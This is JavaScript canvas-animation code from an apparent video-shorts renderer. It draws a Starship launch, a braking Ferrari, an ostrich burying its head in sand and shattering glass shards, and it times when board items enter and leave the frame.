        ctx.beginPath(); ctx.moveTo(hx + Math.cos(an) * r0, hy + Math.sin(an) * r0); ctx.lineTo(hx + Math.cos(an) * r1, hy + Math.sin(an) * r1); stroke(ctx, i % 3 ? C.blue : C.ink, 7); ctx.stroke(); }
    });
  },
  icon(ctx, it, t) { const f = ICONS[it.name]; if (!f) return; const s = it.s || 1; ctx.scale(s, s); if (deepness() > 0) drop(ctx, .16, 18, 8); f(ctx, it, t); },
  starship(ctx, it, t) { drawStarship(ctx, it, t); },
  ferrari(ctx, it, t) { drawFerrari(ctx, it, t); },
  ostrich(ctx, it, t) { drawOstrich(ctx, it, t); },
};

// ---------------------------------------------------------------- illustrated actors (drawn, no image assets)
// starship {s 1, igniteAt (default at + .3), liftFrom, liftTo, liftY 160}: a stainless Starship (heat tiles, flaps, three
// bells) on a paper launch pad; the blue-white flame flickers from igniteAt, smoke puffs spread on the pad, and between
// liftFrom and liftTo the ship climbs liftY px while the smoke stays on the ground. (0, 0) = ship centre at rest.
function drawStarship(ctx, it, t) {
  const s = it.s || 1, ign = it.igniteAt ?? it.at + .3, r = 48, top = -170, bot = 236, tip = -306;
  ctx.scale(s, s);
  const lift = it.liftFrom != null ? (u => u * u * u)(seg(t, it.liftFrom, it.liftTo ?? it.liftFrom + 1.4)) * (it.liftY ?? 160) / s : 0;
  const fire = S(t - ign, 9), pad = bot + 54;
  // smoke on the pad (stays put while the ship climbs)
  if (fire > .002) for (let i = 0; i < 18; i++) {   // a billowing cloud that rolls out both ways along the pad
    const side = i % 2 ? 1 : -1, u = Math.floor(i / 2) / 8, age = Math.max(0, t - ign - u * .35);
    const grow = 1 - Math.exp(-age * 2.2), reach = (1 - Math.exp(-age * 1.1)) * (60 + 230 * u) * (1 + .25 * hash(i + 3));
    const rad = (30 + 46 * (1 - u * .55) * (.7 + .6 * hash(i + 11))) * (.25 + .75 * grow) * (1 + .5 * seg(lift, 0, 120));
    const x = side * (22 + reach) + 6 * noise1(t * .9 + i), y = pad - rad * .5 - 30 * u * grow - 8 * hash(i + 5);
    ctx.save(); drop(ctx, .1, 22, 8); ctx.beginPath(); ctx.arc(x, y, rad, 0, TAU);
    const g = ctx.createRadialGradient(x - rad * .35, y - rad * .45, rad * .1, x, y, rad);
    g.addColorStop(0, '#FFFFFF'); g.addColorStop(.7, '#F1EEE8'); g.addColorStop(1, '#DDD8CD'); ctx.fillStyle = g; ctx.globalAlpha *= Math.min(1, fire * 1.2) * (1 - .35 * u); ctx.fill(); ctx.restore();
  }
  ctx.save(); ctx.translate(0, -lift);
  // flame
  if (fire > .002) {
    const fl = (130 + 46 * noise1(t * 13) + lift * .35) * fire, w = 34 + 5 * noise1(t * 17 + 4);
    const g = ctx.createLinearGradient(0, bot, 0, bot + fl);
    g.addColorStop(0, '#FFFFFF'); g.addColorStop(.22, '#CFE4FF'); g.addColorStop(.55, 'rgba(37,142,255,.85)'); g.addColorStop(1, 'rgba(37,142,255,0)');
    ctx.beginPath(); ctx.moveTo(-w, bot + 8); ctx.bezierCurveTo(-w * 1.15, bot + fl * .35, -w * .35, bot + fl * .8, 0, bot + fl);
    ctx.bezierCurveTo(w * .35, bot + fl * .8, w * 1.15, bot + fl * .35, w, bot + 8); ctx.closePath(); ctx.fillStyle = g; ctx.fill();
    ctx.beginPath(); ctx.ellipse(0, bot + 18 + fl * .16, w * .42, fl * .2, 0, 0, TAU); ctx.fillStyle = 'rgba(255,255,255,.9)'; ctx.fill();
  }
  // bells
  for (const bx of [-24, 0, 24]) { ctx.beginPath(); ctx.moveTo(bx - 8, bot - 2); ctx.lineTo(bx + 8, bot - 2); ctx.lineTo(bx + 12, bot + 16); ctx.lineTo(bx - 12, bot + 16); ctx.closePath(); ctx.fillStyle = '#3A3E46'; ctx.fill(); }
  // flaps (behind the hull edge)
  const flap = (pts) => { ctx.beginPath(); pts.forEach(([x, y], i) => i ? ctx.lineTo(x, y) : ctx.moveTo(x, y)); ctx.closePath(); ctx.fillStyle = '#2C2F36'; ctx.fill(); ctx.strokeStyle = 'rgba(255,255,255,.18)'; ctx.lineWidth = 2; ctx.stroke(); };
  for (const sg of [-1, 1]) {
    flap([[sg * (r - 4), -226], [sg * (r + 26), -204], [sg * (r + 28), -164], [sg * (r - 4), -150]]);
    flap([[sg * (r - 4), 104], [sg * (r + 50), 160], [sg * (r + 52), bot - 4], [sg * (r - 4), bot - 4]]);
  }
  // hull
  const hull = new Path2D(); hull.moveTo(-r, bot); hull.lineTo(-r, top); hull.bezierCurveTo(-r, top - 78, -16, tip + 22, 0, tip);
  hull.bezierCurveTo(16, tip + 22, r, top - 78, r, top); hull.lineTo(r, bot); hull.closePath();
  ctx.save(); drop(ctx, .22, 34, 16); ctx.fillStyle = '#C9CED6'; ctx.fill(hull); ctx.restore();
  ctx.save(); ctx.clip(hull);
  const steel = ctx.createLinearGradient(-r, 0, r, 0);
  steel.addColorStop(0, '#8E949E'); steel.addColorStop(.2, '#DDE1E7'); steel.addColorStop(.42, '#FFFFFF'); steel.addColorStop(.68, '#CBD0D8'); steel.addColorStop(1, '#858B95');
  ctx.fillStyle = steel; ctx.fillRect(-r, tip, 2 * r, bot - tip);
  const tiles = ctx.createLinearGradient(-r, 0, -r * .1, 0); tiles.addColorStop(0, '#1E2026'); tiles.addColorStop(1, '#3B3F48');   // heat shield
  ctx.fillStyle = tiles; ctx.fillRect(-r, tip, r * .9, bot - tip);
  ctx.strokeStyle = 'rgba(255,255,255,.07)'; ctx.lineWidth = 1;
  for (let y = tip + 30; y < bot; y += 14) { ctx.beginPath(); ctx.moveTo(-r, y); ctx.lineTo(-r * .1, y); ctx.stroke(); }
  ctx.strokeStyle = 'rgba(30,34,42,.12)'; ctx.lineWidth = 1.5;   // weld rings
  for (let y = top + 20; y < bot; y += 42) { ctx.beginPath(); ctx.moveTo(-r, y); ctx.lineTo(r, y); ctx.stroke(); }
  ctx.fillStyle = 'rgba(255,255,255,.75)'; ctx.fillRect(r * .12, tip + 40, 3, bot - tip - 50);   // specular line
  ctx.restore();
  ctx.strokeStyle = 'rgba(20,22,27,.28)'; ctx.lineWidth = 2; ctx.stroke(hull);
  ctx.restore();
}

// ostrich {s 1, downFrom, downTo, upAt, mound 300, dir 1}: an ostrich on a sand strip; between downFrom and downTo it
// bends its neck and buries its head in the mound (sand burst), at upAt it pulls out with a burst and three blue
// "wake up" ticks. (0, 0) = the ground under its body; it faces +x (dir -1 mirrors).
// A red Ferrari in side view, facing right, wheels on y = 0. It rolls in from the left on `at` (spinning wheels and speed
// lines while it brakes to a stop). {s, roll: px travelled on entry (default 260), rollDur (default .9)}.
function drawFerrari(ctx, it, t) {
  const s = it.s || 1; ctx.scale(s, s);
  const k = E.out(seg(t, it.at, it.at + (it.rollDur ?? .9))), roll = it.roll ?? 260, x0 = -roll * (1 - k), v = 1 - k;
  ctx.translate(x0, 0);
  // ground shadow
  ctx.save(); ctx.beginPath(); ctx.ellipse(0, 4, 300, 16, 0, 0, TAU); ctx.fillStyle = 'rgba(20,16,8,.16)'; ctx.filter = 'blur(6px)'; ctx.fill(); ctx.restore();
  // speed lines while it is still moving
  if (v > .02) { ctx.save(); ctx.lineCap = 'round'; ctx.strokeStyle = `rgba(23,25,30,${(.35 * v).toFixed(3)})`; ctx.lineWidth = 6;
    for (const [y, l] of [[-120, 120], [-80, 170], [-40, 110]]) { ctx.beginPath(); ctx.moveTo(-300 - 30, y); ctx.lineTo(-300 - 30 - l * v, y); ctx.stroke(); }
    ctx.restore(); }
  const body = new Path2D();
  body.moveTo(-268, -34); body.lineTo(-272, -78); body.quadraticCurveTo(-268, -100, -238, -104);
  body.lineTo(-150, -108); body.quadraticCurveTo(-110, -112, -78, -140); body.quadraticCurveTo(-48, -164, 10, -164);
  body.quadraticCurveTo(60, -164, 96, -128); body.quadraticCurveTo(116, -110, 160, -102);
  body.quadraticCurveTo(250, -90, 278, -66); body.quadraticCurveTo(290, -54, 284, -32); body.lineTo(226, -30);
  body.arc(166, -32, 58, 0, Math.PI, true); body.lineTo(-108, -30); body.arc(-168, -32, 58, 0, Math.PI, true); body.closePath();
  ctx.save(); drop(ctx, .22, 24, 10);
  const g = ctx.createLinearGradient(0, -164, 0, -30); g.addColorStop(0, '#F0383E'); g.addColorStop(.55, '#D41820'); g.addColorStop(1, '#8E0C12');
  ctx.fillStyle = g; ctx.fill(body); ctx.restore();
  ctx.save(); ctx.clip(body);
  // shoulder highlight and lower sill shade
  ctx.beginPath(); ctx.moveTo(-250, -96); ctx.quadraticCurveTo(0, -112, 270, -70); ctx.lineWidth = 7; ctx.strokeStyle = 'rgba(255,255,255,.35)'; ctx.stroke();
  ctx.fillStyle = 'rgba(40,0,4,.28)'; ctx.fillRect(-300, -46, 600, 20);
  // side intake
  ctx.beginPath(); ctx.moveTo(-60, -66); ctx.quadraticCurveTo(-20, -88, 30, -84); ctx.quadraticCurveTo(0, -64, -60, -66); ctx.fillStyle = '#1A1215'; ctx.fill();
  ctx.restore();
  // glasshouse
  ctx.beginPath(); ctx.moveTo(-96, -112); ctx.quadraticCurveTo(-60, -152, 8, -154); ctx.quadraticCurveTo(54, -154, 84, -122); ctx.quadraticCurveTo(60, -116, -96, -112); ctx.closePath();
  const gl = ctx.createLinearGradient(-90, -154, 80, -112); gl.addColorStop(0, '#2B3038'); gl.addColorStop(1, '#0F1115'); ctx.fillStyle = gl; ctx.fill();
  ctx.beginPath(); ctx.moveTo(-40, -146); ctx.lineTo(-8, -150); ctx.lineTo(-44, -116); ctx.lineTo(-72, -116); ctx.closePath(); ctx.fillStyle = 'rgba(255,255,255,.16)'; ctx.fill();
  ctx.fillStyle = '#C8121A'; ctx.fillRect(-14, -152, 9, 40);   // B pillar
  // mirror, lights
  ctx.beginPath(); ctx.ellipse(96, -126, 16, 8, -.3, 0, TAU); ctx.fillStyle = '#B5121A'; ctx.fill();
  ctx.beginPath(); ctx.moveTo(240, -84); ctx.quadraticCurveTo(268, -76, 276, -64); ctx.lineTo(250, -70); ctx.closePath(); ctx.fillStyle = '#F4F1EA'; ctx.fill();
  ctx.beginPath(); ctx.roundRect(-272, -92, 18, 12, 4); ctx.fillStyle = '#5A0408'; ctx.fill();
  // wheels: tyre, five-spoke rim, yellow caliper
  const spin = t * 2 + (it.roll ?? 260) * (1 - k) / 40;
  for (const wx of [-168, 166]) {
    ctx.save(); ctx.translate(wx, -32);
    ctx.beginPath(); ctx.arc(0, 0, 46, 0, TAU); ctx.fillStyle = '#16181C'; ctx.fill();
    ctx.beginPath(); ctx.arc(0, 0, 31, 0, TAU); const rg = ctx.createRadialGradient(-8, -10, 4, 0, 0, 31); rg.addColorStop(0, '#E9ECEF'); rg.addColorStop(1, '#8A9098'); ctx.fillStyle = rg; ctx.fill();
    ctx.beginPath(); ctx.roundRect(8, -22, 12, 26, 4); ctx.fillStyle = '#F2C200'; ctx.fill();
    ctx.rotate(spin); ctx.fillStyle = '#2A2E35';
    for (let i = 0; i < 5; i++) { ctx.rotate(TAU / 5); ctx.beginPath(); ctx.moveTo(-6, -6); ctx.lineTo(-4, -29); ctx.lineTo(4, -29); ctx.lineTo(6, -6); ctx.closePath(); ctx.globalAlpha *= .9; ctx.fill(); ctx.globalAlpha /= .9; }
    ctx.beginPath(); ctx.arc(0, 0, 7, 0, TAU); ctx.fillStyle = '#C9CDD2'; ctx.fill();
    ctx.restore();
  }
}

const OS = { skin: '#D6B8A8', skin2: '#B9998A', beak: '#E6C9A2', sand: '#E3DBCB', sand2: '#CDBFA6', ink: '#17191E' };
function drawOstrich(ctx, it, t) {
  const s = it.s || 1, hx = it.mound ?? 300; ctx.scale(s * (it.dir || 1), s);
  const down = it.downFrom != null ? E.io(seg(t, it.downFrom, it.downTo ?? it.downFrom + .8)) : 0;
  const up = it.upAt != null ? S(t - it.upAt, 10) : 0, P = clamp(down * (1 - up));
  const buried = it.downTo != null && t > it.downTo && (it.upAt == null || t < it.upAt);
  const wig = buried ? Math.sin((t - it.downTo) * 9) * 4 : 0;
  // legs
  const leg = (hip, tw) => {
    const knee = [hip[0] + 34 + 10 * P, -150 + 12 * P], foot = [hip[0] + 6, -6];
    ctx.lineCap = 'round'; ctx.lineJoin = 'round'; ctx.strokeStyle = OS.skin2;
    ctx.lineWidth = 24; ctx.beginPath(); ctx.moveTo(...hip); ctx.lineTo(...knee); ctx.stroke();
    ctx.lineWidth = 15; ctx.beginPath(); ctx.moveTo(...knee); ctx.lineTo(...foot); ctx.stroke();
    ctx.lineWidth = 12; ctx.beginPath(); ctx.moveTo(foot[0] - 8, -4); ctx.lineTo(foot[0] + 46, -2); ctx.stroke();
    ctx.lineWidth = 8; ctx.beginPath(); ctx.moveTo(foot[0], -4); ctx.lineTo(foot[0] + 28 + tw, -12); ctx.stroke();
  };
  ctx.save(); ctx.translate(wig, 0);
  leg([-96, -262], 0); ctx.globalAlpha *= .92; leg([-18, -262], 6); ctx.globalAlpha /= .92;
  // body (pitches forward as the head goes down)
  const bx = -50, by = -340, rot = lerp(-.1, .3, P);
  ctx.save(); ctx.translate(bx, by); ctx.rotate(rot);
  // tail plume
  const sway = Math.sin(t * 3.1) * .05 + (buried ? Math.sin((t - it.downTo) * 7) * .12 : 0);
  for (let i = 0; i < 6; i++) {
    const a = -2.55 + i * .2 + sway, L = 120 + 18 * Math.sin(i * 1.7);
    ctx.save(); ctx.translate(-150, -20); ctx.rotate(a);
    ctx.beginPath(); ctx.moveTo(0, 0); ctx.quadraticCurveTo(L * .5, -26, L, -4); ctx.quadraticCurveTo(L * .5, 16, 0, 0);
    ctx.fillStyle = i % 2 ? '#FFFFFF' : '#F1EEE8'; ctx.fill(); ctx.strokeStyle = 'rgba(20,22,27,.14)'; ctx.lineWidth = 1.5; ctx.stroke(); ctx.restore();
  }
  ctx.save(); drop(ctx, .24, 36, 18);
  ctx.beginPath(); ctx.ellipse(0, 0, 170, 112, 0, 0, TAU);
  const g = ctx.createRadialGradient(-30, -60, 20, 0, 0, 190); g.addColorStop(0, '#3A3E46'); g.addColorStop(1, OS.ink);
  ctx.fillStyle = g; ctx.fill(); ctx.restore();
  ctx.save(); ctx.beginPath(); ctx.ellipse(0, 0, 170, 112, 0, 0, TAU); ctx.clip();   // feather scallops
  ctx.strokeStyle = 'rgba(255,255,255,.08)'; ctx.lineWidth = 3;
  for (let row = 0; row < 4; row++) for (let i = 0; i < 9; i++) { const x = -150 + i * 38 + (row % 2) * 19, y = -50 + row * 34; ctx.beginPath(); ctx.arc(x, y, 22, .2, Math.PI - .2); ctx.stroke(); }
  ctx.restore();
  for (let i = 0; i < 5; i++) {   // white wing plumes on the flank
    const a = .25 + i * .12; ctx.save(); ctx.translate(-30 + i * 12, 40); ctx.rotate(Math.PI - a);
    ctx.beginPath(); ctx.moveTo(0, 0); ctx.quadraticCurveTo(60, -18, 118, 0); ctx.quadraticCurveTo(60, 14, 0, 0); ctx.fillStyle = '#FFFFFF'; ctx.fill(); ctx.restore();
  }
  ctx.restore();
  // neck from the shoulder to the head, clipped at the ground line so the buried head disappears under the sand
  ctx.save(); ctx.beginPath(); ctx.rect(-3000, -3000, 6000, 3000); ctx.clip();
  const sh = [bx + Math.cos(rot) * 128 - Math.sin(rot) * -58, by + Math.sin(rot) * 128 + Math.cos(rot) * -58];
  const H = [lerp(sh[0] + 66, hx - wig, P), lerp(-760, 34, P)], Cc = [lerp(sh[0] + 22, sh[0] + 250, P), lerp(-560, sh[1] - 230, P)];
  const q = u => [(1 - u) ** 2 * sh[0] + 2 * (1 - u) * u * Cc[0] + u * u * H[0], (1 - u) ** 2 * sh[1] + 2 * (1 - u) * u * Cc[1] + u * u * H[1]];
  ctx.lineCap = 'round';
  for (let i = 0; i < 24; i++) { const a = q(i / 24), b = q((i + 1) / 24); ctx.beginPath(); ctx.moveTo(...a); ctx.lineTo(...b); ctx.lineWidth = lerp(40, 20, i / 24); ctx.strokeStyle = OS.skin; ctx.stroke(); }
  ctx.save(); ctx.beginPath(); ctx.ellipse(sh[0] - 6, sh[1] + 8, 40, 30, rot, 0, TAU); ctx.fillStyle = OS.ink; ctx.fill(); ctx.restore();   // feather collar
  // head along the neck tangent
  const tg = Math.atan2(H[1] - Cc[1], H[0] - Cc[0]), hd = lerp(.12, tg, P);   // upright: beak forward; buried: along the neck
  ctx.save(); ctx.translate(...H); ctx.rotate(hd);
  ctx.beginPath(); ctx.moveTo(22, -10); ctx.quadraticCurveTo(62, -8, 70, 2); ctx.quadraticCurveTo(58, 12, 20, 10); ctx.closePath(); ctx.fillStyle = OS.beak; ctx.fill();
  ctx.strokeStyle = OS.skin2; ctx.lineWidth = 2; ctx.beginPath(); ctx.moveTo(26, 1); ctx.lineTo(64, 2); ctx.stroke();
  ctx.beginPath(); ctx.ellipse(0, 0, 34, 27, 0, 0, TAU); ctx.fillStyle = OS.skin; ctx.fill();
  const wide = 1 + .35 * (it.upAt != null ? Math.max(0, 1 - Math.abs(t - it.upAt - .5) / 1.2) * up : 0);
  const blink = (t * 1.3 + .4) % 3.1 < .12 ? .15 : 1;
  ctx.beginPath(); ctx.ellipse(6, -7, 11 * wide, 11 * wide * blink, 0, 0, TAU); ctx.fillStyle = '#FFFFFF'; ctx.fill(); ctx.strokeStyle = OS.ink; ctx.lineWidth = 2.5; ctx.stroke();
  if (blink > .5) { ctx.beginPath(); ctx.arc(9, -7, 5.5, 0, TAU); ctx.fillStyle = OS.ink; ctx.fill(); }
  ctx.lineWidth = 2.5; ctx.beginPath(); for (const a of [-2.2, -1.85, -1.5]) { ctx.moveTo(6 + Math.cos(a) * 11 * wide, -7 + Math.sin(a) * 11 * wide); ctx.lineTo(6 + Math.cos(a) * 18 * wide, -7 + Math.sin(a) * 18 * wide); } ctx.stroke();
  ctx.restore();
  ctx.restore();
  ctx.restore();
  // sand strip and mound (drawn over the buried head)
  ctx.save(); drop(ctx, .1, 14, 4);
  ctx.beginPath(); ctx.roundRect(-430, -4, 900, 26, 13); ctx.fillStyle = OS.sand; ctx.fill(); ctx.restore();
  ctx.beginPath(); ctx.moveTo(hx - 120, 2); ctx.bezierCurveTo(hx - 80, -62, hx + 80, -62, hx + 120, 2); ctx.closePath();
  const mg = ctx.createLinearGradient(0, -50, 0, 4); mg.addColorStop(0, '#EAE3D5'); mg.addColorStop(1, OS.sand2); ctx.fillStyle = mg; ctx.fill();
  ctx.fillStyle = 'rgba(120,100,70,.25)'; for (let i = 0; i < 14; i++) { ctx.beginPath(); ctx.arc(hx - 90 + 180 * hash(i + 1), -6 - 34 * hash(i + 9) * (1 - Math.abs(hash(i + 1) - .5) * 1.6), 2.4, 0, TAU); ctx.fill(); }
  // sand bursts (head in, head out)
  for (const [bt, n] of [[it.downTo, 14], [it.upAt, 18]]) {
    if (bt == null || t < bt || t > bt + 1.1) continue; const age = t - bt;
    for (let i = 0; i < n; i++) {
      const vx = (hash(i * 3 + n) - .5) * 520, vy = -(260 + 420 * hash(i * 5 + n)), x = hx + vx * age, y = -40 + vy * age + 1500 * age * age;
      if (y > 10) continue; ctx.globalAlpha = 1 - age / 1.1; ctx.beginPath(); ctx.arc(x, y, 4 + 7 * hash(i + n * 7), 0, TAU); ctx.fillStyle = i % 3 ? OS.sand2 : '#A89878'; ctx.fill();
    }
    ctx.globalAlpha = 1;
  }
  // wake-up ticks (the blue accent)
  if (it.upAt != null && t > it.upAt + .15) {
    const k = S(t - it.upAt - .15, 12), hxu = H[0], hyu = H[1];
    ctx.strokeStyle = C.blue; ctx.lineCap = 'round'; ctx.lineWidth = 9; ctx.globalAlpha = k;
    for (const a of [-2.3, -1.6, -.9]) { ctx.beginPath(); ctx.moveTo(hxu + Math.cos(a) * 70, hyu + Math.sin(a) * 70); ctx.lineTo(hxu + Math.cos(a) * (70 + 44 * k), hyu + Math.sin(a) * (70 + 44 * k)); ctx.stroke(); }
    ctx.globalAlpha = 1;
  }
}

// glass shards of a size x size icon centered on 0: rays from the impact point cut by 3 jittered rings, each shard with
// an outward velocity (faster near the impact), an upward kick and a spin. Deterministic per seed.
function shards(size, hit, n, seed) {
  const h = size / 2, ix = hit[0] * h, iy = hit[1] * h, rings = [size * .28, size * .62, size * 1.6], rnd = i => hash(i * 7.13 + seed * 31.7);
  const ang = Array.from({ length: n }, (_, i) => (i + .5 * (rnd(i) - .5)) / n * TAU);
  const pt = (r, i) => { const j = ((i % n) + n) % n, rj = r * (.82 + .36 * rnd(j * 3 + r)); return [ix + Math.cos(ang[j] + (i >= n ? TAU : 0)) * rj, iy + Math.sin(ang[j] + (i >= n ? TAU : 0)) * rj]; };
  const out = [];
  for (let ri = 0; ri < rings.length; ri++) for (let i = 0; i < n; i++) {
    const r0 = ri ? rings[ri - 1] : 0, r1 = rings[ri], poly = ri ? [pt(r0, i), pt(r1, i), pt(r1, i + 1), pt(r0, i + 1)] : [[ix, iy], pt(r1, i), pt(r1, i + 1)];
    const path = new Path2D(); poly.forEach(([x, y], k) => path[k ? 'lineTo' : 'moveTo'](x, y)); path.closePath();
    const cx = poly.reduce((a, p) => a + p[0], 0) / poly.length, cy = poly.reduce((a, p) => a + p[1], 0) / poly.length;
    const dx = cx - ix, dy = cy - iy, d = Math.hypot(dx, dy) || 1, sp = (1500 + 1100 * rnd(ri * n + i + 50)) / (1 + d / size);
    out.push({ path, cx: clamp(cx, -h, h), cy: clamp(cy, -h, h), vx: dx / d * sp, vy: dy / d * sp - 520 - 380 * rnd(i + 90), w: (rnd(i + ri * 17 + 7) - .5) * 9 });
  }
  return out;
}
function logoAt(R, ctx, src, cx, cy, size, gray) {   // real app icon centered on (cx, cy), rounded like an app icon
  const im = R?.img('/p/' + src); if (!im) return;
  const flat = logoFinish() === 'flat';
  if (!flat) lift(ctx, cx - size / 2, cy - size / 2, size, size, size * .22, size > 100 ? 1 : .35);
  ctx.save(); ctx.beginPath(); ctx.roundRect(cx - size / 2, cy - size / 2, size, size, size * .22); ctx.clip();
  if (gray) ctx.filter = `grayscale(${gray})`; ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, cx - size / 2, cy - size / 2, size, size); ctx.restore();
  if (flat) { ctx.beginPath(); ctx.roundRect(cx - size / 2, cy - size / 2, size, size, size * .22); ctx.strokeStyle = C.line; ctx.lineWidth = Math.max(1.5, size / 90); ctx.stroke(); }
}
const smoother = x => x <= 0 ? 0 : x >= 1 ? 1 : x * x * x * (x * (x * 6 - 15) + 10);
function drawItem(ctx, it, t, R) {
  const f = DRAW[it.k]; if (!f) return;
  // morph: the item (a screen) grows out of the previous scene's media rect instead of rising in (shared-element move)
  const mo = it._morph, mq = mo ? smoother(seg(t, mo.at, mo.at + (it.morphDur ?? .62))) : 1, mr = mo && mq < 1 ? mo.rect(R) : null;
  // cut: in and out on the frame (badges that follow hard camera cuts); still: never translates on enter or exit
  const p = mr || mo && t >= mo.at ? 1 : it.shown || it.cut ? +(t >= it.at) : S(t - it.at, it.w8 || 13), out = it.to == null ? 0 : it.cut ? +(t >= it.to) : leave(t - it.to);
  if (mo && t < mo.at) return;
  const a = Math.min(1, p * 1.35) * (1 - out); if (a <= .002) return;
  let [x, y] = it.posKeys ? track(t, it.posKeys, it.posW || 10) : [it.x ?? W / 2, it.y ?? 600];
  if (mr) {   // rect lerp: center, size and radius from the source rect to the item's own
    const w = it.w || 900, h = it.h || 620;
    x = lerp(mr[0] + mr[2] / 2, x, mq); y = lerp(mr[1] + mr[3] / 2, y, mq);
    it = { ...it, w: lerp(mr[2], w, mq), h: lerp(mr[3], h, mq), r: lerp(mo.r ?? 22, it.r ?? 30, mq), lit: mq };
  }
  const sc = (it.scaleKeys ? track(t, it.scaleKeys, it.posW || 10) : 1) * (it.pop != null ? lerp(it.pop, 1, p) : 1), dim = it.dimAt != null ? S(t - it.dimAt, 12) : 0;
  const rot = (it.rotKeys ? track(t, it.rotKeys, it.posW || 10) : it.k !== 'stamp' ? it.rot || 0 : 0) + (it.spin || 0) * (1 - p);
  ctx.save(); ctx.globalAlpha *= a * (1 - .62 * dim);
  const bare = it.strikeAt != null && it.k === 'text' && !String(it.text ?? '').trim();   // strike-only item: never rises in
  if (it.still) ctx.translate(x, y);
  else ctx.translate(x + (it.dx || 0) * (1 - p), y + (it.rise ?? (bare ? 0 : 40)) * (1 - p) - 28 * out * out);   // exits lift away, accelerating
  if (rot) ctx.rotate(rot);
  if (sc !== 1) ctx.scale(sc, sc);
  f(ctx, it, t, R);
  if (it.strikeAt != null) { const q = E.io(seg(t, it.strikeAt, it.strikeAt + .35)), sw = it.strikeW || 400; if (q > .002) {
    // the drawn part is the first q of the final curve (de Casteljau), so the stroke draws left to right and never bends
    const x0 = -sw / 2, y0 = 6, x1 = 0, y1 = -6, x2 = sw / 2, y2 = -2, u = 1 - q;
    ctx.beginPath(); ctx.moveTo(x0, y0); ctx.quadraticCurveTo(x0 + (x1 - x0) * q, y0 + (y1 - y0) * q, u * u * x0 + 2 * u * q * x1 + q * q * x2, u * u * y0 + 2 * u * q * y1 + q * q * y2);
    stroke(ctx, col(it.strikeColor || 'blue'), 9); ctx.stroke(); } }
  ctx.restore();
}

// Entrance times, resolved once per board (times are short seconds). The choreography rules live here so every spec
// gets them for free:
//   - gate: after a previous scene's exit (s._gate, set by linkScenes), nothing enters before the old beat is mostly gone.
//   - counters enter with their count (countFrom - .12), never parked on "0" while the voice has not said the number;
//     hold: true keeps the authored entrance.
//   - same slot: an item entering where another one just left (within .6 s, |dx| < 300, |dy| < 90) waits for it to be
//     gone (to + .24, leave() lasts .26 s), so swaps read as one leaves, the next arrives, never two values stacked
//     in a crossfade. slot: false opts an item out.
const SLOT = .24;
const slotXY = it => it.posKeys ? it.posKeys[0][1] : [it.x ?? W / 2, it.y ?? 600];
function boardItems(s) {
  if (s._items) return s._items;
  const items = s.items.map(it => {
    let at = (it.at ?? s.from) - (it.pre ?? 0);
    if (it.k === 'counter' && !it.hold && it.countFrom != null && it.countFrom - at > .3) at = it.countFrom - .12;
    if (!it._morph && s._gate != null) at = Math.max(at, s._gate);
    return { ...it, at };
  });
  for (const b of items) for (const a of items) {
    if (a === b || a.to == null || b._morph || b.slot === false) continue;
    const [ax, ay] = slotXY(a), [bx, by] = slotXY(b);
    if (b.at > a.to - .3 && b.at < a.to + .6 && Math.abs(ax - bx) < 300 && Math.abs(ay - by) < 90) b.at = Math.max(b.at, a.to + SLOT);
  }
  return (s._items = items);
}

// slow push-in over the board's life, so a held beat never sits still (default 2.5% on boards of 3 s and more; push: 0 = off)
const boardEnd = (R, s) => s.to ?? R.tl?.duration ?? s.from + 4;
const boardPush = (R, s) => s.push ?? (boardEnd(R, s) - s.from >= 3 ? .025 : 0);
const board = {
  zooms: (R, s) => boardPush(R, s) > 0 && !boardItems(s).some(it => it.k === 'glass'),   // glass samples the frame under it: plain transform
  draw(R, s, t) {
    const { ctx } = R, out = s.to == null ? 0 : s.hard ? +(t >= s.to) : leave(t - s.to), items = boardItems(s);
    alpha(ctx, 1 - out, () => {
      if (s.outDx) ctx.translate(s.outDx * out * out, 0); else ctx.translate(0, -36 * out * out);   // outDx: whip out sideways
      const end = boardEnd(R, s), push = boardPush(R, s);
      if (push) {
        const [px, py] = s.pushAt || [W / 2, 700], k = 1 + push * clamp((t - s.from) / Math.max(.5, end - s.from));
        zoomAt(ctx, k, px, py);
      }
      for (const it of items) drawItem(ctx, it, t, R); });
  },
};

export const LIFE = { board };

// Story scenes: hand-drawn illustration scenes for narrative shorts (first used by short-chapeau-alu).
// Same contract as scenes.js: {type, from, to, layer, ...} with times already mapped to SHORT time.
//   foilHat (over)  a crinkled tinfoil hat with a little antenna that drops onto the speaker's head (face-tracked)
//   stampOver (over) a rubber stamp over the camera
//   sea             Eiffel tower line drawing, rising water, year counter, stamp, sea gauge, "simulation" wireframe
//   giec            flip-book of yearly reports that always say "dans 5 ans"
//   bike            recycling bins struck out, then a 100 km commute with a moving bike, km counter and a passing sun
//   equation        CQFD: IA = climat x10, then a callback stamp
//   crowd           GPT -> Mistral: a crowd of dots flows between two logo tiles, then regroups into a pyramid (elite on top)
//   cheque          a company cheque: handwritten payee, amount counts up, rolls back to 0, then a stamp lands
//                   {rect: [x, y, w], logo, payer, city, no, date, payee, words, memo, amount, currency '$', writeAt,
//                    countFrom, countTo, zeroAt (count rolls to 0, words struck), stampAt, stamp} (560 px tall)
import { C, W, H, clamp, lerp, seg, E, S, leave, track, sheet, shadow, text, measure, midBase, chip, hash } from './kit.js';

const TAU = Math.PI * 2;
const hex = c => [1, 3, 5].map(i => parseInt(c.slice(i, i + 2), 16));
const mix = (a, b, p) => { const x = hex(a), y = hex(b); return `rgb(${x.map((v, i) => Math.round(lerp(v, y[i], clamp(p)))).join(',')})`; };
function alpha(ctx, a, fn) { if (a <= .002) return; ctx.save(); ctx.globalAlpha *= a; fn(); ctx.restore(); }
function rise(ctx, p, dist, fn, dx = 0) { alpha(ctx, Math.min(1, p * 1.35), () => { ctx.translate(dx * (1 - p), dist * (1 - p)); fn(); }); }
function env(ctx, s, t, fn) {
  const out = s.to != null ? leave(t - s.to) : 0;
  alpha(ctx, 1 - out, () => { ctx.translate(0, -36 * out); fn(S(t - s.from + (s.pre || 0), 12)); });
}
const P = (t, at, w = 13) => at == null ? 0 : S(t - at, w);

// rubber stamp: lands from 1.35x to 1 (critically damped, no overshoot), slight angle
function stamp(ctx, x, y, str, p, o = {}) {
  if (p <= .002) return;
  const size = o.size || 64, w = measure(ctx, str, size, 800, -1) + 76, h = size + 54;
  ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.6); ctx.translate(x, y); ctx.rotate(o.rot ?? -.07); const k = 1 + .35 * (1 - p); ctx.scale(k, k);
  if (o.solid) shadow(ctx, -w / 2, -h / 2, w, h, 22, 22, .2, 8);
